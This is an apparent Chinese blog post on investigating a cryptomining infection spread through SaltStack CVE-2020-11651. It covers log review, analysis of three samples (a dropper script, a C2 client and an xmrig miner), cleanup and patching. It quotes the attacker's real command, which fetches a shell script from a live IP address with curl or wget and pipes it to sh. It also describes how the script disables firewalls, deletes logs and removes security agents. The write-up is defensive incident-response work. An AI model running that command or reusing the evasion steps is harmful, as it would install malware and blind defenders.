SaltStack 漏洞导致的挖矿排查思路

描述

SaltStack 是一套 C/S 架构的运维工具,服务端口默认为 4505/4506,两个端口如果对外网开放危害非常大,黑客利用SaltStack 的远程命令执行漏洞 CVE-2020-11651 可以直接绕过 Salt-Master 的认证机制,调用相关函数向 Salt-Minion 下发指令执行系统命令,最终导致挖矿。

现象

受害 Salt-Minion 机器上存在挖矿进程salt-minions

tmp目录下存在可疑二进制文件:

  • salt-store
  • salt-minions

排查

  1. 确定所有 salt-master 机器列表;
  2. 查看当天 salt-master 的日志文件/var/log/salt/minion,是否存在可疑命令执行,筛选cmdmod
  3. 找到可疑的命令执行内容:

    1
    (curl -s 217.12.210.192/sa.sh||wget -q -O- 217.12.210.192/sa.sh)|sh
  4. 确认 SaltStack 版本,是否存在漏洞CVE-2020-11651

样本分析

共三个样本:

文件名 MD5
sa.sh 204780df7dd946401d6e545a130689fb
salt-store 8ec3385e20d6d9a88bc95831783beaeb
salt-minions a28ded80d7ab5c69d6ccde4602eef861

sa.sh

这是黑客原始下载执行的脚本文件,salt-store从这里下载下载的。

该脚本执行后首先进行一些系统设置:关闭防火墙、设置 ulimit、关闭防火墙、关闭 watchdog 告警,并且将系统 syslog 日志删除:

然后检测服务器上是否安装安骑士和云镜服务,有则将进程停止并下载对应的卸载脚本进行卸载操作:

之后通过 netstat 筛选服务器开启的端口和连接,将对应进程全部停止:

然后通过 pspkillpgrepkillall 筛选进程名和参数,将其对应的进程杀掉,并且还会清理 cpu 资源占用超过 10% 的进程,保证有更多的硬件资源可以利用:


之后会清理 /tmp/etc/ 下其他挖矿进程的二进制文件:

该脚本还会清理 docker 运行的挖矿程序:

脚本最后会从远程下载恶意二进制文件 salt-store 到 /tmp/var/tmp 下:

download2函数中会从 bitbucket 下载恶意二进制文件,如果失败会调用 download3 函数从 217.12.210.192 下载:

下载之后,将包含以下字段的计划任务删除,这一步可以将其他挖矿和一些 HIDS 服务的守护任务删掉:

salt-store

该文件是 C2 客户端,从控制端接收指令执行。

运行后该程序会释放矿机文件 salt-minions/tmp/下:

salt-store运行期间会和以下 url 进行 http 交互:

对该文件静态分析后,发现该程序具有如下功能,包括运行矿机、执行远端指令、端口扫描等:

从样本分析结果看,可以判定这是一个命令控制系统(C2)的客户端,程序运行之后主机会在远端上线,黑客可以登录远端给客户机下发指令启动挖矿程序。

salt-minions

salt-store 运行时释放。

该文件有明显的 xmrig 特征:

所以该文件是一个 xmrig 的矿机。

清理恢复

清理步骤

  1. 停止恶意进程:
    -9 `pidof salt-store` && kill -9 `pidof salt-minions` ```
    1
    2. 删除恶意文件:```rm -rf /tmp/salt-* /var/tmp/salt-*

整改恢复

  1. 升级 SaltStack 到最新版本,修补 CVE-2020-11651 漏洞,升级前建议做好快照备份措施,安全版本下载地址参考:https://repo.saltstack.com
  2. 设置 SaltStack 为自动更新,及时获取相应补丁;
  3. Salt Master 默认监听端口(默认 45054506)设置为禁止对公网开放,或仅对可信对象开放,避免被黑客利用;

相关链接





root@kali ~# cat 重要声明
本博客所有原创文章,作者皆保留权利。转载必须包含本声明,保持文本完整,并以超链接形式注明出处【Techliu】。查看和编写文章评论都需翻墙,为了更方便地获取文章信息,可订阅RSS,如果您还没有一款喜爱的阅读器,不妨试试Inoreader.
root@kali ~# Thankyou!